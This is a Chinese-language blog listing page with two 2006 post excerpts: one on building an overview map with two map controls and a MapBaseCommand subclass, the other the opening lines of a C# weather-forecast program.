     摘要: 我在2005上研究了好长时间, 才弄出来个简单的鹰眼,与大家分享,我的设计思路是将后台设置两个map ,map1和map2,map1为主地图,map2为鹰眼地图,但是map2没有MapControl,定义一个实现类继承于MapBaseCommand,将map1.Bounds的矩形在map2上转换为System.Drawing.Rectangle,之后将这个Rectangle的左上坐标和width,...  阅读全文

posted @ 2006-10-17 12:28 东人EP 阅读(6599) | 评论 (7)编辑 收藏

     摘要: 1 // 天气预报源代码    2          3 using  System;   4 using  System.Co...  阅读全文

posted @ 2006-10-12 13:02 东人EP 阅读(1717) | 评论 (0)编辑 收藏

仅列出标题
共8页: 1 2 3 4 5 6 7 8